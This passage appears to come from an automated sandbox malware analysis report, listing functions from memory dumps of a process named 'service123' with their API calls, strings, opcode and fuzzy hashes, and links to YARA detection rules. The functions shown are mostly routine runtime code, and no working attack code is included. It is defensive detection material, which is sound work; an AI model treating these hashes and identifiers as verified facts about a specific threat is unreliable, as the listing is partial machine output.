Instruction Fuzzy Hash: AD117FB05042108FDBA09F2CC680746BBE4BF45344F5589B9C498CF749EBB4D466CBA1

Function 6C850290 Relevance: 7.5, APIs: 5, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C8502BC
TlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C8504DE), ref: 6C8502CA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C8504DE), ref: 6C850300

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: AllocCreateErrorLastSemaphore
String ID:
API String ID: 2256031600-0
Opcode ID: fc3a8b5798d4620e9136bd6b27261cd58ea24f6535ad151e383509b259c4fbfa
Instruction ID: 6f7ea18bd965789b8f01bca70044a43c908ba165253120c8b9f5546e19eaa1df
Opcode Fuzzy Hash: fc3a8b5798d4620e9136bd6b27261cd58ea24f6535ad151e383509b259c4fbfa
Instruction Fuzzy Hash: 19F030B050C341DBE7507F7DC60932A7AB0BB42358FA04E6CE0A987AD0E7784018CB62

Function 00B34BFA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

(null), xrefs: 00B34C27
@, xrefs: 00B34647

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID:
String ID: (null)$@
API String ID: 0-1380778734
Opcode ID: 99bbdc8cd89bf7a4e43fd4f455baae3e854542dd06be79b72a9f96ecc02c1c23
Instruction ID: 253db01684be40f7a20281148bbbb3872c8d0010dce42482b858b6cb0ee211dd
Opcode Fuzzy Hash: 99bbdc8cd89bf7a4e43fd4f455baae3e854542dd06be79b72a9f96ecc02c1c23
Instruction Fuzzy Hash: 47A19F356083918BC7319F24D0807AABBE1FF85714F358A9DE8D887342DB35E946DB82

Function 6C8552CA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

(null), xrefs: 6C8552F7
@, xrefs: 6C854D17

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: (null)$@
API String ID: 0-1380778734
Opcode ID: 3541ab662a4b0f3c103100174898c47f807f9a5baf687017457308cf677c27f5
Instruction ID: 3c86549311a54d9aae2c9f503ed00a3041daf99bb3c97da2f2f4bbe5ab4fcfab
Opcode Fuzzy Hash: 3541ab662a4b0f3c103100174898c47f807f9a5baf687017457308cf677c27f5
Instruction Fuzzy Hash: 51A19E7160C3558BD7B18E29C28039AB7E1AFC5308F958E2DD8DC87741D7B5D92ACB82

Function 00B31B00 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 211COMMON

Download Yara Rule

Strings

%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00B31C20
Unknown pseudo relocation bit size %d., xrefs: 00B31C6D
Unknown pseudo relocation protocol version %d., xrefs: 00B31DF3

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 0-1286557213
Opcode ID: fab92015af2639308f6a49a9ff15aaf935dd18e68424ce25907f105c8be8d13b
Instruction ID: 29bce8809c06b803a1b3781fdcb0cc0bd0a214d47fa47669884ccbfa470d7efc
Opcode Fuzzy Hash: fab92015af2639308f6a49a9ff15aaf935dd18e68424ce25907f105c8be8d13b
Instruction Fuzzy Hash: BE81C071A102058BCB14DF2CD89079EFBF9FF85740F3589A9D894AB254E730E8158B92

Function 6C84A850 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 187COMMON

Download Yara Rule

Strings

%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 6C84A970
Unknown pseudo relocation bit size %d., xrefs: 6C84A9BD
Unknown pseudo relocation protocol version %d., xrefs: 6C84AB43

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 0-1286557213
Opcode ID: b94d2f8d65f0e3d1ddfd81a977ef74810530671d0d541fac9ce133d74ba71502
Instruction ID: 357e8c008ae9288700fd78471cf7053153900723e3b7abe4ceb4213ec96a78cf
Opcode Fuzzy Hash: b94d2f8d65f0e3d1ddfd81a977ef74810530671d0d541fac9ce133d74ba71502
Instruction Fuzzy Hash: D671A332A1435D8BDB20CF69C6816DEB7F4FB54308F25C939D9A5ABB44E334E8058B91

Function 00B380D8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 00B380F2
strchr.MSVCRT ref: 00B38102
atoi.MSVCRT ref: 00B38113

Strings

., xrefs: 00B380F7

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: ada1008d35e41e10e64cf9da6c6253745884d5c573850742e5c05c36619c67f5
Instruction ID: 0113857c616a34ffea694b950b21047c5db3b56374b6859945648f0124e6db69
Opcode Fuzzy Hash: ada1008d35e41e10e64cf9da6c6253745884d5c573850742e5c05c36619c67f5
Instruction Fuzzy Hash: 77E0ECB1904B018AD7407F39C90A32ABAE1AB84300F598CACF488A7245EB79984A9753

Function 6C859128 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C859142
strchr.MSVCRT ref: 6C859152
atoi.MSVCRT ref: 6C859163

Strings

., xrefs: 6C859147

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: c2b570a3904f17255e6178cae360b51e0f0771d8f4e0b0ba75ebf925efdecfd1
Instruction ID: d8b3d70eafdd11f98dd186f067b66beafe3095cdcd3ed1e73c43de433cb174b8
Opcode Fuzzy Hash: c2b570a3904f17255e6178cae360b51e0f0771d8f4e0b0ba75ebf925efdecfd1
Instruction Fuzzy Hash: E2E08CF49047118AD7507F3CC60839AB6E2BB80308FC58C3CD48887B00E7BD842A9762

Function 6C859293 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 6C85929F
GetProcAddress.KERNEL32 ref: 6C8592B3

Strings

SystemFunction036, xrefs: 6C8592A8
advapi32.dll, xrefs: 6C859298

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SystemFunction036$advapi32.dll
API String ID: 2574300362-1354007664
Opcode ID: 04aeadd05be8c703c382e7ccdc3e0984d1b47bb8b064ad0ea9521ff6db76efda
Instruction ID: fa7409d79f1b789b960062558977b639866822fed630daa6476e8fe34ea12f69
Opcode Fuzzy Hash: 04aeadd05be8c703c382e7ccdc3e0984d1b47bb8b064ad0ea9521ff6db76efda
Instruction Fuzzy Hash: 6EE046F2898300CFCB00AF78960604ABBF0BB06720F51492ED0C997604E3788029DF97

Function 6C851409 Relevance: 6.5, APIs: 3, Strings: 1, Instructions: 482COMMON

Download Yara Rule

Strings

5, xrefs: 6C8514D2

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: ec0e5d768a7ff64b5e9addc10bf57015faf65b50a5586ad5ca2a6293e7feafb0
Instruction ID: b6b2f8a237aede9282bc8ca3626b80893b7940c9abb5164d9efddb5930d7a3a8
Opcode Fuzzy Hash: ec0e5d768a7ff64b5e9addc10bf57015faf65b50a5586ad5ca2a6293e7feafb0
Instruction Fuzzy Hash: BA22F275A097408FC760CF29C68465AFBE1BF89348F958D2EE8D897710DBB4E854CB42

Function 6C84A340 Relevance: 6.3, APIs: 5, Instructions: 98stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C84A3C5
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,6C85C41C), ref: 6C84A3E0
free.MSVCRT ref: 6C84A3EA

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 38f38ae1ec7567b4626353e805c22c95754c23c83e8af549b49b664eb2fd2e29
Instruction ID: 1e36511d38a1899deac0ba93da855584eecf1836a7d35575a7d34ba1b6a22a44
Opcode Fuzzy Hash: 38f38ae1ec7567b4626353e805c22c95754c23c83e8af549b49b664eb2fd2e29
Instruction Fuzzy Hash: C731A0756097198BD3209F29D68439FBBE1AFC1758F218E3CE9A44FB40E331C4458792

Function 6C895C40 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C895D74
memchr.MSVCRT ref: 6C895D93

Part of subcall function 6C908520: setlocale.MSVCRT ref: 6C908535

Strings

., xrefs: 6C895D85
-, xrefs: 6C895F72

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: -$.
API String ID: 4291329590-3807043784
Opcode ID: 9e57b0cf59b5b40de52e63b6e38134f29aa79d232b0d5107d0c72f8ed49162ff
Instruction ID: 3ab41d67242a3980f7f925e8582a40fec5c82b6ae9adcbfb4a34a6d60ed5dbd7
Opcode Fuzzy Hash: 9e57b0cf59b5b40de52e63b6e38134f29aa79d232b0d5107d0c72f8ed49162ff
Instruction Fuzzy Hash: D1D159B19087198FCB10DFACC58459EBBF1BF48344F148A2AE8A4EB751D734D949CB81

Function 6C896080 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 306COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C8961AE
memchr.MSVCRT ref: 6C8961CD

Part of subcall function 6C908520: setlocale.MSVCRT ref: 6C908535

Strings

., xrefs: 6C8961BF
6, xrefs: 6C8963B6

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: .$6
API String ID: 4291329590-4089497287
Opcode ID: feab727a5a67f4afad593266216ca351e0288f02a14212afb41b8bb45287efcd
Instruction ID: 702dc2420732f43af297c0d673858c2e447f38c5f0d87248dafd3fdb9db9c6d9
Opcode Fuzzy Hash: feab727a5a67f4afad593266216ca351e0288f02a14212afb41b8bb45287efcd
Instruction Fuzzy Hash: 06D135B09087598FCB50DFACC58068EBBF0AF88304F148A6EE8A4E7751D734D949CB91

Function 6C910F90 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 283stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C910FD5

Strings

basic_string::append, xrefs: 6C91104D, 6C911059, 6C91114C, 6C91120C

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string::append
API String ID: 39653677-3811946249
Opcode ID: 889114c85c7d323912fd5cb039fc4c4c52a1230be1115a6e2ad61346f92dd127
Instruction ID: bfdfdea6b6c66eb876016b399130760f7e8328d299b9c7077a04a32922245406
Opcode Fuzzy Hash: 889114c85c7d323912fd5cb039fc4c4c52a1230be1115a6e2ad61346f92dd127
Instruction Fuzzy Hash: 60A16F75A083059FCB10EF68C58569EBBF4FF89314F41896DE8988BB44D734D848CB92

Function 6C8AB2D0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

memmove.MSVCRT(00000000,?,?,6C8A997F), ref: 6C8AB336
memcpy.MSVCRT(?,?,?,?,?,?,6C8A997F), ref: 6C8AB3A1
memcpy.MSVCRT(00000000,?,?,6C8A997F), ref: 6C8AB3E8

Strings

basic_string::assign, xrefs: 6C8AB403

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: basic_string::assign
API String ID: 1283327689-2385367300
Opcode ID: c0d163b894417bbd07ee16f2dd45fe4bedd1829baa4487091defabdc93b448f6
Instruction ID: ea170f3db36fd1a31e30c2dd1d232895158c8af6498c51a4103b46ec78f88f6b
Opcode Fuzzy Hash: c0d163b894417bbd07ee16f2dd45fe4bedd1829baa4487091defabdc93b448f6
Instruction Fuzzy Hash: 7351AC71B0A6198FD720DF68C68462EFBF1FF85318B508A2DE4558BB14E330D806CB82

Function 6C8B4410 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C8B4471
memcpy.MSVCRT ref: 6C8B44DF
memcpy.MSVCRT ref: 6C8B4518

Strings

basic_string::assign, xrefs: 6C8B4534

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: basic_string::assign
API String ID: 1283327689-2385367300
Opcode ID: 3809c71b845803a43b51c285a89dcc6db3b011aa23cf7475c9f9836d093517cd
Instruction ID: 7fd76f6b320c52229c8720f67feedfa0cfb20cd1c3e8e7cc5ce4bb161b60b7a2
Opcode Fuzzy Hash: 3809c71b845803a43b51c285a89dcc6db3b011aa23cf7475c9f9836d093517cd
Instruction Fuzzy Hash: E851BE71B0AA118FD721DF2CD68561AFBE5BFD2308F51896DD4849B718D730D809CB92

Function 6C86E980 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 127stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C86E9AA
wcslen.MSVCRT ref: 6C86EA1A

Strings

basic_string: construction from null is not valid, xrefs: 6C86E9E2, 6C86EA52, 6C86EAC2

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlenwcslen
String ID: basic_string: construction from null is not valid
API String ID: 803329031-2991274800
Opcode ID: b38c8457fd741a67f6029fa9afd78d4ac30349fc5d2b511ba40d73adab097a97
Instruction ID: 26e8dfad91a74eef96b6764b2891ed50b526986265c50c0245889e6033357768
Opcode Fuzzy Hash: b38c8457fd741a67f6029fa9afd78d4ac30349fc5d2b511ba40d73adab097a97
Instruction Fuzzy Hash: 8141ADF1A056148FCB10EF2CD98184ABBE0BF55218F564D7DE8858BB15E331E899CBD2

Function 6C86E581 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C86E5AD
strlen.MSVCRT ref: 6C86E5FD

Strings

basic_string: construction from null is not valid, xrefs: 6C86E5CF, 6C86E61F, 6C86E66F

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string: construction from null is not valid
API String ID: 39653677-2991274800
Opcode ID: dcd223694a702762d1f212659809a27ab017625f4f5372453628a5639f76f540
Instruction ID: 005ad2fa6bdb220422c24d7bc1e890caf88ee251f86b36ba05599760c2d22d30
Opcode Fuzzy Hash: dcd223694a702762d1f212659809a27ab017625f4f5372453628a5639f76f540
Instruction Fuzzy Hash: 8F3180B16153148FCB10AF2CC98588ABBE4BF19618B564C7DE8848B711D735EC59CBA2

Function 00B37C40 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00B37C92
MultiByteToWideChar.KERNEL32 ref: 00B37CD5

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: acfa6f7fd032232d54f0147eb2287f18ae8c421e5872ebc90507d85ec87cc046
Instruction ID: 03a72cf6db90f56c6b62c3f9842a4c5af47b1682e0a9b2b4c53698d8ec35201a
Opcode Fuzzy Hash: acfa6f7fd032232d54f0147eb2287f18ae8c421e5872ebc90507d85ec87cc046
Instruction Fuzzy Hash: 2931C5B050D3418FD720DF29D58466ABBE0FF85314F24896EE89487351DB76D849CB92

Function 6C859660 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 6C8596B2
MultiByteToWideChar.KERNEL32 ref: 6C8596F5

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
